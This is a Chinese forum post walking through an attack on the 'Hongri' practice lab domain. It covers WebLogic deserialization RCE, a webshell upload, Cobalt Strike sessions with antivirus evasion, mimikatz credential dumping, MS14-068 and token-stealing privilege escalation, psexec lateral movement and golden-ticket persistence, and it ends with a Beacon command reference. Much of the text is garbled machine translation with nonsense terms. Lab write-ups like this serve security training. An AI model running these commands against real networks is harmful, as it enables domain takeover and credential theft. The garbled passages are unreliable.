红日靶场二游记

zhaorong · 发表于 2021-7-26 16:28:27

本帖最后由 zhaorong 于 2021-7-26 16:37 编辑

红日靶场二游记

靶场拓扑图如下所示：

环境说明

DC：
IP：10.1.10.10状态
：WINDOWS 2012
应用：

ADWEB域（最终用户的默认密码登录切换de1ay / 1qaz @ WSX登录）：
IP1：10.10.10.80
IP2：192.168.111.80
操作系统：Windows 2008
应用： Weblogic 10.3.6 MSSQL 2008

电脑：
IP1：10.10.10.201
IP2：192.168.111.201
：Windows 7
内段网：10.10.10.0/24
DMZ

WEB服务器需要管理员手动开启服务在C：\Oracle\Middleware\user_project
ns\base_domain\bin下启动运行程序startWeblogic发酵的WebLogic
WEB机和PC机：计算机-->管理->配置->服务->服务器，桌面，计算机浏览全部启动注意PC机
需要关闭防火墙专业两台机器无法通PC机导致无法发送icmp包。

这里是为了方便在将物理机实现为在WEB服务器中增加桥接网络以便能直接访问WEB服务器

WEB服务器信息收集

该WEB服务器桥网段为192.168.0.1/24，该主机IP为192.168.0.6，是WEB服务器首次对
80端口进行发现收集该端口没有内容的nmap服务器信息，端口和服务如下：

PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title.
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601 Service Pack 1 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000.00; SP2
| ms-sql-ntlm-info:
| Target_Name: DE1AY
| NetBIOS_Domain_Name: DE1AY
| NetBIOS_Computer_Name: WEB
| DNS_Domain_Name: de1ay.com
| DNS_Computer_Name: WEB.de1ay.com
| DNS_Tree_Name: de1ay.com
|_ Product_Version: 6.1.7601
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2021-07-22T05:27:37
| Not valid after: 2051-07-22T05:27:37
| MD5: cd9c a9a8 84fd a39f 5073 9bfc 9ae7 dec5
|_SHA-1: 02e4 f828 917e 4978 0f8b d4c5 f253 da95 0b86 bd94
|_ssl-date: 2021-07-22T12:46:41+00:00; 0s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Service
| ssl-cert: Subject: commonName=WEB.de1ay.com
| Issuer: commonName=WEB.de1ay.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2021-07-21T05:28:19
| Not valid after: 2022-01-20T05:28:19
| MD5: c1d1 9a76 c599 358a 8527 34a6 b00f 6ce2
|_SHA-1: 71eb 0238 090b 80ea d143 36aa d3c0 7f8d bd5c 4d18
|_ssl-date: 2021-07-22T12:46:40+00:00; 0s from scanner time.
7001/tcp open http Oracle WebLogic Server (Servlet 2.5; JSP 2.1)
|_http-title: Error 404--Not Found
|_weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp 打开 msrpc Microsoft Windows RPC
49154/tcp 打开 msrpc Microsoft Windows RPC
49155/tcp 打开 msrpc Microsoft Windows RPC
49156/tcp 打开 msrpc Microsoft Windows RPC

复制代码

开放了几个高危端口都的出 445 个可能存在的端口，利用开放即存在的 smb 服务就存在 1-010 个端口存在漏洞
开放 139 就端口存在 Samba 服务可能爆破/授权访问/远程命令执行漏洞， 1433端口命令执行漏洞，因为1433
端口命令则说明该服务器部署MSSQL可能存在MSSQL并通过MSSQL7001执行打开端口
放的WebLogic Server，从而可以先从网络逻辑。

使用检测weblogicScan是否存在已知漏洞：

发现可能存在的反序列化漏洞使用工具进行检测成功RCE

由于之前检测uddiexplorer开放这里选择将冰蝎壳上传到uddiexplorer目录下：

冰蝎连接后成功getshell

外打成功开拓内网的信息收集和横向对网点。

内网收集信息与横向

发现存在3个网段192.168.0.6是桥接网段判断内网还存在1
92.168.111.1/24和10.10.10.1/24两个网段
这里首先需要提权所以先行CS上线360有手就行直接用PS在这里存在360杀软件

注意：在靶机中实际使用的的的的powershell并且的的的的powershell无法
禁止运行绕过360使用UUID智能的EXE免杀这里是为了方便开启上帝模式使用PS上线

上线后明先抓取使用下内存中的NTML等WEB服务器为Windows Server 2008
可以抓取文密码：

WEB服务器很幸运的被域控DC登陆了，于是出现了控制DC管理员的明文密码

查看已经打上的权利利用未解决提提：

这里想使用CVE-2018-8120提权并且该脚本使用大量2008版本的机器，但在本地一打所有
的CS就掉线了也不知道是啥原因。

cve-2019-0803也可能因为杀软的存在而无法上传文件成功看其他文章使用的是ms14-068可以提
权成功但本地没有应该，所以先放介绍下其原理：
该漏洞可能允许向用户账户的权限提权执行层级管理员的，该漏洞可以只查看，然后就需要其他
提供权限查看查看管理员查看权限查看是否可以打打补丁用户（KB3011780）来袭出现漏洞

利用ms14-068 .exe提权工具生成明天的kerberos协议证书

MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s
<userSid> -d <domainControlerAddr>

复制代码

运行完成该命令后生成在当前文件夹生成再通过Mimikatz文件进行导入后：

mimikatz #kerberos::purge //清空当前凭证
kerberos::list //查看当前机器凭证
mimikatz # kerberos 文件 //::上一步生成的笔记本注入到内存中

复制代码

届时便能以天气的域管理员身份来域控制或通过P**ec工具来获取域控的炮弹添加域管理员等操作
使用的是最后一个CS模块提升中的ms15-051-051进行提权
官方表示该漏洞影响的信息有：
Windows Server 2003 Windows Vista Windows Server 2008 Windows Server 2008 R2 等

成功获得SYSTEM权限

这里也可以通过权限窃取的方式进行提：

meterpreter > load incognito //加载incognito
meterpreter > getuid //查看当前token
meterpreter > list_tokens -u //可用令牌
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM" //token窃取
格式为impersonate_token"主机名\\用户名"
meterpreter > getuid //查看当前token
meterpreter > rev2self //返回之前的令牌 </字体>

复制代码

Windows中的隐身

Metasploit中的隐身是从windows平台下的隐身移植过来的下面介绍windows平台下的隐身常用
用法如下：

目录token：incognitoexe list_tokens -u
复制token：incognito.exe execute [options] <token> <command>
提权至系统：incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
降权至当前用户：incognito.exe execute -c "WIN-R7MM90ERB\a" cmd.exe 明天
用户：incognito.exe execute -c "WIN-R7MM90ERBMD\b" cmd.exe

复制代码

自己进行CS进行盗取令牌却不能失败告示因为这里还可能需要管理员管理员才能进行盗取最终操作

令牌的安装者权限

在Windows中获得权限管理员和权限系统系统也文件
在Windows系统的最高权限为TrustedInstaller
我们可以使用以下方法来判断是否获得TrustedInstaller权限：

1.验证是否获得TrustedInstaller权限的方法
对特定路径写文件
echo 1 > C:\Windows\servicing\1.txt
使用whoami
whoami / 个人 | findstr TrustedInstaller
使用Powershell
Get-Acl -Path C:\Windows\servicing\TrustedInstaller.exe |select Owner

2.getsystem提升
命令到系统权限3.sc命令启动服务TrustedInstaller
shell sc starttrustedinstaller
4.ps找到TrustedInstaller的pid
ps
5。使用隐身获取TrustedInstaller.exe的
tokensteal_token TrustedInstall.exe的PID
6.写入文件成功代表获得了TrustedInstaller权限

域信息收集

ipconfig /all发现机器有双网卡内网10.10.10.1/24段域控为ip 10.10.10.10
注意：域控一般是本机的DNS服务器
查看域：网络配置工作站

观域内主机：该上网查看防火墙
netsh advfirewall设置所有配置文件状态
注意在收集凭证收集时收集到mssql用户用户的密码在用户驻留过程中过程中
用户没有驻留过程中因此使用spawn来用户：

转义用户后发现该同样是域用户：

此时域信息收集：

使用Ladon探测下域三台主机和相关信息准备进行渗透IP：

分别为：
10.10.10.10域控DC
10.10.10.80 WEB服务器
10.10.10.201 PC
由于已经存在相关证书注意使用p**ec域控制上线：

需要使用p**ec模块时会话必须是系统权限，并且可以使用SMB监听器进行监听

成功拿下域控DC服务器

此时在抓取下域控制服务器的Hash：

实际登录域内连接控制主机后已经可以单独一个主机了，这里还有一个PC机没有CS，我们直接
使用p**PC服务器使用控制主机的会话视频：

整个域内全部主机上线：

域控权限生存

在域控制获得KRBTGT界面NTLM密码攻击和SID

并且获得了一个域管理员的 SID

黄金中国利用

黄金比特币是英国的口口舌消息（TGT）也被认证中心。TGT 仅用于域控制器上
的加密 KDC 证明用户已被域其他控制器认证。
黄金英国的条件要求：
1 .域名称
2.域的SID值
3.域的KRBTGT账户NTLM密码密码
4.明日你名
黄金拥有者普通用户权限KRBTGT游戏的情况下获得域管理员权限新闻外观域控制的系统权限
还可以使用黄金商业商业商业权限维持当域控制权限掉在通过域内的其他机器突然权限。
可以通过mimtz命令直接获取krbt的SID值和获取值。
lsadump::dc /domain:test./user:金币

下面演示下在WEB服务器中使用mssql用户来晚宴

访问高清：

晚宴晚宴后：晚宴成功后：

以 mssql 用户: 给

黄金报表后：

结尾贴下Beacon的指令介绍

browserpivot             注入受害者浏览器进程
bypassuac             绕过UAC提升权限
cancel                   取消正在进行的下载
cd                      切换目录
checkin                强制让被控端回连一次
clear                   清除Beacon内部的任务队列
covertvpn                部署Covert VPN客户端
cp                      复制文件
dcsync                   从DC中提取密码Hash
desktop                远程桌面服务
dllinject                反射DLL注入进程
download                下载文件
downloads             列出正在进行的文件下载
drives                   列出目标盘符
elevate                   使用exp
execute                在目标机上执行程序
exit                      结束beacon会话
getsystem                尝试获取SYSTEM权限
getuid                   获取用户ID
hashdump                转储密码Hash值
inject                   在注入进程生成会话
jobkill                   结束一个后台任务
jobs                   列出后台任务
kerberos_ccache_use    从cache文件中导入票据应用于此会话
kerberos_ticket_purge    清除当前会话的票据
kerberos_ticket_use       从ticket文件中导入的票据应用于此会话
keylogger                键盘记录
kill                      结束进程
link                      通过命名管道连接到Beacon对等点
logonpasswords          使用Mimikatz转储密码hash和凭证
ls                      列出文件
make_token             创建令牌以传递凭据
mimikatz                运行Mimikatz命令
mkdir                   创建目录
mode dns                使用DNS A作为通信通道
mode dns-txt             使用DNS TXT作为通信通道
mode dns6             使用DNS 我是猪！作为通信通道
mode http                使用HTTP作为通信通道
mv                      移动文件
net                      运行net命令
note                   备注
portscan                端口扫描
powerpick                通过unmanaged powershell执行命令
powershell             通过powershell.exe执行命令
powershell-import       导入powershell脚本
ppid                   为派生的post-ex进程设置父PID
ps                      展示进程列表
p**ec                   使用服务在主机上生成会话
p**ec_psh             使用PowerShell在主机上生成会话
psinject                在特定进程中执行PowerShell命令
pth                      使用Mimikatz进行哈希传递
pwd                   显示出当前目录
rev2self                恢复原始令牌
rm                      删除文件或文件夹
rportfwd                端口转发
runas                   以其他用户权限执行程序
runu                   以其他进程ID执行程序1
screenshot             屏幕截图
shell                   执行cmd命令
shinject                将shellcode注入进程
shspawn                启动一个进程并将shellcode注入
sleep                   设置休眠时间
socks                   启动SOCKS4代理
socks stop                停止SOCKS4
spawn 生成会话
spawna 以另一个用户身份生成会话
spawnu 以另一个用户身份生成会话 spawnu 以过程ID 生成会话会话
使用ssh 连接主机-关键
远程使用连接
主机steal_token 从文件中窃取用户订阅
一个数据应用一个文件
unlink 连接
上传上传文件
wdigest 使用im转储明文rmwin
使用WinRM横向渗透
wmi使用WMI横向渗透

		自动登录	找回密码
密码			注册

[网络安全] 红日靶场二游记